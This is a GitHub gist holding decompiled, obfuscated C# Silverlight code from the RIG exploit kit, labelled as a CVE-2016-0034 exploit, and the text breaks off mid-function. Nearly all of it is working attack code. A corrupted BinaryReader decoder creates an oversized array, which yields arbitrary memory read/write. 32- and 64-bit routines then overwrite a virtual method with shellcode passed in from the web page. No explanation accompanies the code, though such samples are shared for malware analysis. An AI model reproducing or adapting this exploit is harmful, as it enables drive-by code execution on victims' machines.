Skip to content

Instantly share code, notes, and snippets.

@nrafter
Created May 11, 2017 15:11
Show Gist options
  • Save nrafter/9d74feb957426ac8c6d649ec5fe7f386 to your computer and use it in GitHub Desktop.
Save nrafter/9d74feb957426ac8c6d649ec5fe7f386 to your computer and use it in GitHub Desktop.
rig ek 2016-0034 decompiled exploit
using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Windows;
using eilquO2RA2sF4k0Luh;
namespace binaryreader
{
// Token: 0x02000003 RID: 3
public class App : Application
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000450
[MethodImpl(8)]
public App()
{
while (false)
{
object arg_0A_0 = null[0];
}
base..ctor();
base.add_Startup(new StartupEventHandler(this.Application_Startup));
}
// Token: 0x06000002 RID: 2 RVA: 0x00002078 File Offset: 0x00000478
[MethodImpl(8)]
private void Application_Startup(object sender, StartupEventArgs e)
{
while (false)
{
object arg_0A_0 = null[0];
}
new Exploit().run(e.get_InitParams());
}
// Token: 0x06000003 RID: 3 RVA: 0x00002098 File Offset: 0x00000498
[DebuggerNonUserCode]
[MethodImpl(8)]
public void InitializeComponent()
{
while (false)
{
object arg_0A_0 = null[0];
}
if (this._contentLoaded)
{
return;
}
this._contentLoaded = true;
Application.LoadComponent(this, new Uri(exusuKvsSOxhZLQsnV.eeM2xusuK(0), 2));
}
// Token: 0x04000001 RID: 1
private bool _contentLoaded;
}
}
using System;
using System.Collections.Generic;
using System.IO;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Text;
using System.Windows.Browser;
using System.Windows.Controls;
using e6ZQKais6sdWQYZGvG;
using eilquO2RA2sF4k0Luh;
namespace binaryreader
{
// Token: 0x02000004 RID: 4
public class Exploit
{
// Token: 0x06000004 RID: 4 RVA: 0x000020D4 File Offset: 0x000004D4
[MethodImpl(8)]
public void run(IDictionary<string, string> initParams)
{
while (false)
{
object arg_0A_0 = null[0];
}
Exploit.is64 = (IntPtr.get_Size() == 8);
if (!this.make_big_array())
{
return;
}
if (!this.get_array_address())
{
return;
}
if (Exploit.is64)
{
Exploit.payload64 = Exploit.hex2bin(initParams.get_Item(exusuKvsSOxhZLQsnV.eeM2xusuK(68)));
new Exploit.Shell64().execute(Exploit.payload64);
return;
}
Exploit.payload32 = Exploit.hex2bin(initParams.get_Item(exusuKvsSOxhZLQsnV.eeM2xusuK(86)));
new Exploit.Shell32().execute(Exploit.payload32);
}
// Token: 0x06000005 RID: 5 RVA: 0x00002174 File Offset: 0x00000574
[MethodImpl(8)]
private bool make_big_array()
{
while (false)
{
object arg_0A_0 = null[0];
}
MemoryStream arg_1B_0 = new MemoryStream(32);
Exploit.CustomEncoding customEncoding = new Exploit.CustomEncoding();
BinaryReader binaryReader = new BinaryReader(arg_1B_0, customEncoding);
Exploit.array = new uint[Exploit.array_original_length];
char[] array = new char[6];
Exploit.obj = new object[Exploit.obj_count];
arg_1B_0.SetLength(32L);
binaryReader.Read(array, 0, array.Length);
return Exploit.array.Length >= 1073741824;
}
// Token: 0x06000006 RID: 6 RVA: 0x000021F4 File Offset: 0x000005F4
[MethodImpl(8)]
private bool get_array_address()
{
while (false)
{
object arg_0A_0 = null[0];
}
Exploit.obj[0] = Exploit.array;
for (int i = 5; i < 64; i++)
{
if (Exploit.array[i] == Exploit.obj_count)
{
if (Exploit.is64)
{
int num = i + 4;
Exploit.array_address = ((ulong)Exploit.array[num + 1] << 32) + (ulong)Exploit.array[num];
}
else
{
int num2 = i + 2;
Exploit.array_address = (ulong)Exploit.array[num2];
}
return true;
}
}
return false;
}
// Token: 0x06000007 RID: 7 RVA: 0x00002284 File Offset: 0x00000684
[MethodImpl(8)]
public static byte[] hex2bin(string hex)
{
while (false)
{
object arg_0A_0 = null[0];
}
int length = hex.get_Length();
byte[] array = new byte[length / 2];
for (int i = 0; i < length; i += 2)
{
array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
}
return array;
}
// Token: 0x06000008 RID: 8 RVA: 0x000022D8 File Offset: 0x000006D8
[MethodImpl(8)]
private static void report(string msg)
{
while (false)
{
object arg_0A_0 = null[0];
}
try
{
HtmlPage.get_Window().Eval(exusuKvsSOxhZLQsnV.eeM2xusuK(104) + msg + exusuKvsSOxhZLQsnV.eeM2xusuK(122));
}
catch (Exception)
{
}
}
// Token: 0x06000009 RID: 9 RVA: 0x00002334 File Offset: 0x00000734
[MethodImpl(8)]
public Exploit()
{
while (false)
{
object arg_0A_0 = null[0];
}
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE();
base..ctor();
}
// Token: 0x0600000A RID: 10 RVA: 0x00002350 File Offset: 0x00000750
[MethodImpl(8)]
static Exploit()
{
// Note: this type is marked as 'beforefieldinit'.
while (false)
{
object arg_0A_0 = null[0];
}
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE();
Exploit.array_original_length = 5u;
Exploit.obj_count = 170u;
}
// Token: 0x04000002 RID: 2
public static byte[] payload32;
// Token: 0x04000003 RID: 3
public static byte[] payload64;
// Token: 0x04000004 RID: 4
public static bool is64;
// Token: 0x04000005 RID: 5
public static uint[] array;
// Token: 0x04000006 RID: 6
public static ulong array_address;
// Token: 0x04000007 RID: 7
public static uint array_original_length;
// Token: 0x04000008 RID: 8
public static object[] obj;
// Token: 0x04000009 RID: 9
public static uint obj_count;
// Token: 0x02000005 RID: 5
private class Shell32 : Random
{
// Token: 0x0600000B RID: 11 RVA: 0x00002378 File Offset: 0x00000778
[MethodImpl(8)]
private uint read_uint(uint addr)
{
while (false)
{
object arg_0A_0 = null[0];
}
if (addr > 65536u)
{
return Exploit.array[(int)(addr - (uint)(Exploit.array_address + 8uL) >> 2)];
}
return 0u;
}
// Token: 0x0600000C RID: 12 RVA: 0x000023A8 File Offset: 0x000007A8
[MethodImpl(8)]
private void write_uint(uint addr, uint val)
{
while (false)
{
object arg_0A_0 = null[0];
}
if (addr > 65536u)
{
Exploit.array[(int)(addr - (uint)(Exploit.array_address + 8uL) >> 2)] = val;
}
}
// Token: 0x0600000D RID: 13 RVA: 0x000023D8 File Offset: 0x000007D8
[MethodImpl(8)]
private void swap_arrays(uint addr, byte[] arr)
{
while (false)
{
object arg_0A_0 = null[0];
}
int num = arr.Length;
uint num2 = 0u;
while ((ulong)num2 < (ulong)((long)num))
{
uint num3 = (uint)arr[(int)num2];
num3 += (uint)((uint)arr[(int)(num2 + 1u)] << 8);
num3 += (uint)((uint)arr[(int)(num2 + 2u)] << 16);
num3 += (uint)((uint)arr[(int)(num2 + 3u)] << 24);
uint num4 = this.read_uint(addr + num2);
this.write_uint(addr + num2, num3);
arr[(int)num2] = (byte)(num4 & 255u);
arr[(int)(num2 + 1u)] = (byte)(num4 >> 8 & 255u);
arr[(int)(num2 + 2u)] = (byte)(num4 >> 16 & 255u);
arr[(int)(num2 + 3u)] = (byte)(num4 >> 24 & 255u);
num2 += 4u;
}
}
// Token: 0x0600000E RID: 14 RVA: 0x00002484 File Offset: 0x00000884
[MethodImpl(8)]
public virtual int dummy_function()
{
while (false)
{
object arg_0A_0 = null[0];
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
if (this == null)
{
this.write_uint(0u, 0u);
}
return 0;
}
// Token: 0x0600000F RID: 15 RVA: 0x00002B08 File Offset: 0x00000F08
[MethodImpl(8)]
public virtual void execute(byte[] payload)
{
while (false)
{
object arg_0A_0 = null[0];
}
try
{
this.dummy_function();
Exploit.obj[0] = Exploit.array;
Exploit.obj[1] = this;
uint num = 0u;
for (int i = 2; i < 64; i++)
{
if (Exploit.array[i] == (uint)Exploit.array_address)
{
num = Exploit.array[i + 1];
break;
}
}
if (num == 0u)
{
throw new Exception();
}
uint num2 = this.read_uint(this.read_uint(this.read_uint(num) + 44u) + 8u);
if (num2 == 0u)
{
throw new Exception();
}
num2 -= num2 % 4u;
this.swap_arrays(num2, payload);
this.dummy_function();
this.swap_arrays(num2, payload);
}
catch (Exception)
{
}
Exploit.array[1073741823] = Exploit.array_original_length;
}
// Token: 0x06000010 RID: 16 RVA: 0x00002BF0 File Offset: 0x00000FF0
[MethodImpl(8)]
public Shell32()
{
while (false)
{
object arg_0A_0 = null[0];
}
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE();
base..ctor();
}
}
// Token: 0x02000006 RID: 6
private class Shell64 : Exploit.Shell32
{
// Token: 0x06000011 RID: 17 RVA: 0x00002C0C File Offset: 0x0000100C
[MethodImpl(8)]
private ulong read_ulong32(ulong addr)
{
while (false)
{
object arg_0A_0 = null[0];
}
if (addr < 65536uL)
{
return 0uL;
}
addr = addr - Exploit.array_address - 8uL >> 2;
return ((ulong)Exploit.array[(int)(checked((IntPtr)(unchecked(addr + 1uL))))] << 32) + (ulong)Exploit.array[(int)(checked((IntPtr)addr))];
}
// Token: 0x06000012 RID: 18 RVA: 0x00002C60 File Offset: 0x00001060
[MethodImpl(8)]
private void write_ulong32(ulong addr, ulong val)
{
while (false)
{
object arg_0A_0 = null[0];
}
if (addr < 65536uL)
{
return;
}
addr = addr - Exploit.array_address - 8uL >> 2;
Exploit.array[(int)(checked((IntPtr)addr))] = (uint)val;
Exploit.array[(int)(checked((IntPtr)(unchecked(addr + 1uL))))] = (uint)(val >> 32);
}
// Token: 0x06000013 RID: 19 RVA: 0x00002CB0 File Offset: 0x000010B0
[MethodImpl(8)]
private ulong read_ulong64(ulong addr)
{
while (false)
{
object arg_0A_0 = null[0];
}
if (addr < 65536uL)
{
return 0uL;
}
this.write_ulong32(this.ums_addr + 8uL, addr);
this.ums.set_Position(0L);
this.ums.Read(this.ums_buffer, 0, 8);
return this.read_address(this.ums_buffer, 0);
}
// Token: 0x06000014 RID: 20 RVA: 0x00002D18 File Offset: 0x00001118
[MethodImpl(8)]
private void write_ulong64(ulong addr, ulong val)
{
while (false)
{
object arg_0A_0 = null[0];
}
if (addr < 65536uL)
{
return;
}
this.write_ulong32(this.ums_addr + 8uL, addr);
this.ums.set_Position(0L);
this.write_address(this.ums_buffer, 0, val);
this.ums.Write(this.ums_buffer, 0, 8);
}
// Token: 0x06000015 RID: 21 RVA: 0x00002D80 File Offset: 0x00001180
[MethodImpl(8)]
private void swap_arrays(ulong addr, byte[] arr)
{
while (false)
{
object arg_0A_0 = null[0];
}
int num = arr.Length;
byte[] array = (byte[])arr.Clone();
this.write_ulong32(this.ums_addr + 8uL, addr);
this.ums.set_Position(0L);
this.ums.Read(arr, 0, num);
this.ums.set_Position(0L);
this.ums.Write(array, 0, num);
}
// Token: 0x06000016 RID: 22 RVA: 0x00002DF4 File Offset: 0x000011F4
[MethodImpl(8)]
public override void execute(byte[] payload)
{
while (false)
{
object arg_0A_0 = null[0];
}
try
{
this.dummy_function();
ResourceManager resourceManager = new ResourceManager(exusuKvsSOxhZLQsnV.eeM2xusuK(132), typeof(Control).get_Assembly());
this.ums = resourceManager.GetStream(exusuKvsSOxhZLQsnV.eeM2xusuK(168));
if (this.ums == null)
{
throw new Exception();
}
Exploit.obj[0] = Exploit.array;
Exploit.obj[1] = this;
Exploit.obj[2] = this.ums;
ulong num = 0uL;
for (int i = 3; i < 64; i++)
{
if (Exploit.array[i] == (uint)Exploit.array_address)
{
num = ((ulong)Exploit.array[i + 3] << 32) + (ulong)Exploit.array[i + 2];
this.ums_addr = ((ulong)Exploit.array[i + 5] << 32) + (ulong)Exploit.array[i + 4];
for (int j = 0; j < 100; j++)
{
if (Exploit.array_address <= this.ums_addr)
{
break;
}
this.ums = resourceManager.GetStream(exusuKvsSOxhZLQsnV.eeM2xusuK(168));
Exploit.obj[2] = this.ums;
this.ums_addr = ((ulong)Exploit.array[i + 5] << 32) + (ulong)Exploit.array[i + 4];
}
break;
}
}
if (num == 0uL)
{
throw new Exception();
}
if (Exploit.array_address > this.ums_addr)
{
throw new Exception();
}
this.write_ulong32(this.ums_addr + 48uL, 12884901891uL);
if (!this.ums.get_CanRead() || !this.ums.get_CanWrite())
{
throw new Exception();
}
ulong num2 = this.read_ulong64(this.read_ulong64(this.read_ulong64(num) + 72uL) + 16uL);
if (num2 == 0uL)
{
throw new Exception();
}
this.swap_arrays(num2, payload);
this.dummy_function();
this.swap_arrays(num2, payload);
}
catch (Exception)
{
}
this.write_ulong64(Exploit.array_address + 8uL, (ulong)Exploit.array_original_length);
}
// Token: 0x06000017 RID: 23 RVA: 0x00003024 File Offset: 0x00001424
[MethodImpl(8)]
private ulong read_address(byte[] b, int offs)
{
while (false)
{
object arg_0A_0 = null[0];
}
ulong num = 0uL;
int i = offs;
int num2 = 0;
while (i < offs + (Exploit.is64 ? 8 : 4))
{
num += (ulong)b[i] << num2;
i++;
num2 += 8;
}
return num;
}
// Token: 0x06000018 RID: 24 RVA: 0x0000307C File Offset: 0x0000147C
[MethodImpl(8)]
private void write_address(byte[] b, int offs, ulong u)
{
while (false)
{
object arg_0A_0 = null[0];
}
int i = offs;
while (i < offs + (Exploit.is64 ? 8 : 4))
{
b[i] = (byte)(u & 255uL);
i++;
u >>= 8;
}
}
// Token: 0x06000019 RID: 25 RVA: 0x000030CC File Offset: 0x000014CC
[MethodImpl(8)]
public Shell64()
{
while (false)
{
object arg_0A_0 = null[0];
}
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE();
this.ums_buffer = new byte[8];
base..ctor();
}
// Token: 0x0400000A RID: 10
private UnmanagedMemoryStream ums;
// Token: 0x0400000B RID: 11
private ulong ums_addr;
// Token: 0x0400000C RID: 12
private byte[] ums_buffer;
}
// Token: 0x02000007 RID: 7
private class CustomEncoding : UTF8Encoding
{
// Token: 0x0600001A RID: 26 RVA: 0x000030F4 File Offset: 0x000014F4
[MethodImpl(8)]
public override Decoder GetDecoder()
{
while (false)
{
object arg_0A_0 = null[0];
}
return new Exploit.CustomDecoder();
}
// Token: 0x0600001B RID: 27 RVA: 0x0000310C File Offset: 0x0000150C
[MethodImpl(8)]
public CustomEncoding()
{
while (false)
{
object arg_0A_0 = null[0];
}
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE();
base..ctor();
}
}
// Token: 0x02000008 RID: 8
private class CustomDecoder : Decoder
{
// Token: 0x0600001C RID: 28 RVA: 0x00003128 File Offset: 0x00001528
[MethodImpl(8)]
public override int GetChars(byte[] bytes, int byteIndex, int byteCount, char[] chars, int charIndex)
{
while (false)
{
object arg_0A_0 = null[0];
}
int num = this.count;
this.count = num + 1;
int result;
if (num != 0)
{
if (num != 1)
{
result = byteCount;
}
else
{
chars[0] = '\0';
chars[1] = '䀀';
result = 2;
}
}
else
{
result = (Exploit.is64 ? -28 : -18);
}
return result;
}
// Token: 0x0600001D RID: 29 RVA: 0x00003198 File Offset: 0x00001598
[MethodImpl(8)]
public override int GetCharCount(byte[] bytes, int index, int count)
{
while (false)
{
object arg_0A_0 = null[0];
}
return count;
}
// Token: 0x0600001E RID: 30 RVA: 0x000031AC File Offset: 0x000015AC
[MethodImpl(8)]
public CustomDecoder()
{
while (false)
{
object arg_0A_0 = null[0];
}
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE();
base..ctor();
}
// Token: 0x0400000D RID: 13
private int count;
}
}
}
using System;
using System.Runtime.CompilerServices;
namespace e6ZQKais6sdWQYZGvG
{
// Token: 0x0200000F RID: 15
internal class e562RNDDL8HsDsTqNZ
{
// Token: 0x06000041 RID: 65 RVA: 0x0000657C File Offset: 0x0000497C
[MethodImpl(8)]
internal static void nbg7uKGSxgMnE()
{
while (false)
{
object arg_0A_0 = null[0];
}
}
// Token: 0x06000042 RID: 66 RVA: 0x0000658C File Offset: 0x0000498C
[MethodImpl(8)]
public e562RNDDL8HsDsTqNZ()
{
while (false)
{
object arg_0A_0 = null[0];
}
base..ctor();
}
// Token: 0x0400001A RID: 26
private static bool eVmJgX3c7;
}
}
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using e6ZQKais6sdWQYZGvG;
namespace eilquO2RA2sF4k0Luh
{
// Token: 0x0200000C RID: 12
internal class exusuKvsSOxhZLQsnV
{
// Token: 0x06000029 RID: 41 RVA: 0x000032E4 File Offset: 0x000016E4
[MethodImpl(8)]
static exusuKvsSOxhZLQsnV()
{
while (false)
{
object arg_0A_0 = null[0];
}
exusuKvsSOxhZLQsnV.eAm9qmvKj = new byte[0];
exusuKvsSOxhZLQsnV.eEV7t39YD = new byte[0];
exusuKvsSOxhZLQsnV.eTKTfNqfR = new byte[0];
exusuKvsSOxhZLQsnV.e870FHr3g = new byte[0];
exusuKvsSOxhZLQsnV.eTB3iFeo2 = IntPtr.Zero;
exusuKvsSOxhZLQsnV.e8ts5Z8vY = IntPtr.Zero;
exusuKvsSOxhZLQsnV.eC2YQ4qZN = new string[0];
exusuKvsSOxhZLQsnV.e2EkluGcy = new int[0];
}
// Token: 0x0600002A RID: 42 RVA: 0x00003358 File Offset: 0x00001758
[MethodImpl(8)]
private void SJS7uKGGY1wAs()
{
while (false)
{
object arg_0A_0 = null[0];
}
}
// Token: 0x0600002B RID: 43 RVA: 0x00003368 File Offset: 0x00001768
[MethodImpl(8)]
internal static object erevLb2wL(object obj)
{
while (false)
{
object arg_0A_0 = null[0];
}
object result;
try
{
result = typeof(exusuKvsSOxhZLQsnV).get_Assembly().get_Location();
}
catch
{
result = "";
}
return result;
}
// Token: 0x0600002C RID: 44 RVA: 0x000033BC File Offset: 0x000017BC
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))]
[MethodImpl(8)]
static string eeM2xusuK(int num)
{
while (false)
{
object arg_0A_0 = null[0];
}
int arg_2278_0 = 91;
int num7;
while (true)
{
int num2 = arg_2278_0;
byte[] array;
int num3;
int num4;
int num5;
byte[] array2;
int num6;
byte[] array3;
CryptoStream cryptoStream;
ICryptoTransform cryptoTransform;
while (true)
{
IL_227C:
int arg_2280_0 = num2;
BinaryReader binaryReader;
byte[] array4;
MemoryStream memoryStream;
while (true)
{
switch (arg_2280_0)
{
case 0:
case 91:
goto IL_1F9E;
case 1:
goto IL_194B;
case 2:
goto IL_1D69;
case 3:
goto IL_11A0;
case 4:
goto IL_190C;
case 5:
goto IL_738;
case 6:
array[9] = 220 - 73;
num2 = 46;
if (false)
{
goto IL_15C2;
}
goto IL_227C;
case 7:
goto IL_122A;
case 8:
goto IL_717;
case 9:
goto IL_1012;
case 10:
num3 = 217 - 72;
arg_2280_0 = 112;
continue;
case 11:
case 326:
array[0] = 86 - 9;
num2 = 220;
if (!true)
{
goto IL_1622;
}
goto IL_227C;
case 12:
goto IL_197C;
case 13:
goto IL_1454;
case 14:
num4 = 198 + 36;
num2 = 195;
if (exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto IL_139F;
}
goto IL_227C;
case 15:
goto IL_1C4C;
case 16:
goto IL_20D9;
case 17:
goto IL_2998;
case 18:
goto IL_1BD2;
case 19:
array[10] = 239 - 79;
arg_2280_0 = 57;
continue;
case 20:
goto IL_1964;
case 21:
goto IL_17BD;
case 22:
goto IL_27DB;
case 23:
goto IL_30;
case 24:
goto IL_2AFE;
case 25:
array[27] = (byte)num5;
num2 = 248;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
goto Block_24;
}
goto IL_685;
case 26:
goto IL_11F5;
case 27:
array2[7] = 29 + 116;
arg_2280_0 = 103;
continue;
case 28:
array2[0] = (byte)num3;
num2 = 186;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto Block_25;
}
goto IL_F33;
case 29:
goto IL_965;
case 30:
array[21] = 104 + 79;
arg_2280_0 = 97;
continue;
case 31:
goto IL_3FF;
case 32:
goto IL_C9E;
case 33:
goto IL_27F9;
case 34:
array2[14] = (byte)num3;
arg_2280_0 = 208;
continue;
case 35:
goto IL_2A4F;
case 36:
num5 = 234 - 78;
arg_2280_0 = 276;
continue;
case 37:
goto IL_291B;
case 38:
goto IL_8DD;
case 39:
goto IL_139F;
case 40:
num6 = 87 + 85;
num2 = 100;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto Block_13;
}
goto IL_1D3C;
case 41:
goto IL_102A;
case 42:
goto IL_18;
case 43:
goto IL_13FA;
case 44:
goto IL_99C;
case 45:
goto IL_499;
case 46:
goto IL_1C81;
case 47:
array2[1] = (byte)num3;
num2 = 50;
if (false)
{
goto IL_190C;
}
goto IL_227C;
case 48:
goto IL_E73;
case 49:
goto IL_4B7;
case 50:
num3 = 98 + 57;
arg_2280_0 = 42;
continue;
case 51:
array = new byte[32];
arg_2280_0 = 309;
continue;
case 52:
goto IL_1E8C;
case 53:
array[5] = (byte)num5;
arg_2280_0 = 284;
continue;
case 54:
goto IL_2937;
case 55:
goto IL_1552;
case 56:
array[12] = 99 + 92;
num2 = 43;
if (!true)
{
goto IL_A5D;
}
goto IL_227C;
case 57:
goto IL_15C2;
case 58:
goto IL_196;
case 59:
goto IL_2068;
case 60:
goto IL_D30;
case 61:
goto IL_EE;
case 62:
goto IL_326;
case 63:
goto IL_104E;
case 64:
goto IL_E36;
case 65:
goto IL_A04;
case 66:
goto IL_2B16;
case 67:
goto IL_F33;
case 68:
array3 = array;
arg_2280_0 = 63;
continue;
case 69:
goto IL_1F12;
case 70:
array2[5] = (byte)num4;
arg_2280_0 = 102;
continue;
case 71:
goto IL_21F4;
case 72:
num3 = 82 + 112;
arg_2280_0 = 141;
continue;
case 73:
goto IL_2A09;
case 74:
array[12] = 68 + 119;
arg_2280_0 = 251;
continue;
case 75:
goto IL_153A;
case 76:
num6 = 74 + 121;
num2 = 261;
if (!exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
goto IL_D6A;
}
goto IL_227C;
case 77:
goto IL_1A77;
case 78:
array[5] = (byte)num5;
num2 = 235;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
goto Block_3;
}
goto IL_1659;
case 79:
goto IL_1A93;
case 80:
goto IL_2AC7;
case 81:
goto IL_2196;
case 82:
goto IL_2128;
case 83:
goto IL_1B36;
case 84:
num5 = 193 - 64;
arg_2280_0 = 200;
continue;
case 85:
array2[8] = (byte)num4;
arg_2280_0 = 304;
continue;
case 86:
goto IL_1749;
case 87:
array[20] = 207 - 69;
arg_2280_0 = 228;
continue;
case 88:
goto IL_5D2;
case 89:
goto IL_FAA;
case 90:
num5 = 1 + 102;
arg_2280_0 = 25;
continue;
case 92:
goto IL_E1D;
case 93:
goto IL_1AB6;
case 94:
array[28] = (byte)num6;
arg_2280_0 = 120;
continue;
case 95:
array[4] = (byte)num6;
arg_2280_0 = 113;
continue;
case 96:
goto IL_B65;
case 97:
num6 = 113 + 20;
arg_2280_0 = 49;
continue;
case 98:
goto IL_204A;
case 99:
goto IL_FDB;
case 100:
goto IL_1E25;
case 101:
goto IL_21B2;
case 102:
num3 = 52 + 52;
arg_2280_0 = 4;
continue;
case 103:
goto IL_1A2A;
case 104:
goto IL_91B;
case 105:
goto IL_780;
case 106:
goto IL_1896;
case 107:
goto IL_26E;
case 108:
goto IL_113A;
case 109:
goto IL_A5D;
case 110:
goto IL_11D8;
case 111:
num6 = 230 - 76;
arg_2280_0 = 240;
continue;
case 112:
goto IL_39C;
case 113:
goto IL_182A;
case 114:
goto IL_17D;
case 115:
num4 = 92 + 28;
num2 = 218;
if (!true)
{
goto IL_BFA;
}
goto IL_227C;
case 116:
goto IL_1B19;
case 117:
goto IL_543;
case 118:
array2[10] = 88 + 36;
arg_2280_0 = 254;
continue;
case 119:
goto IL_199B;
case 120:
array[28] = 11 - 2;
arg_2280_0 = 111;
continue;
case 121:
array2[9] = 191 - 63;
num2 = 253;
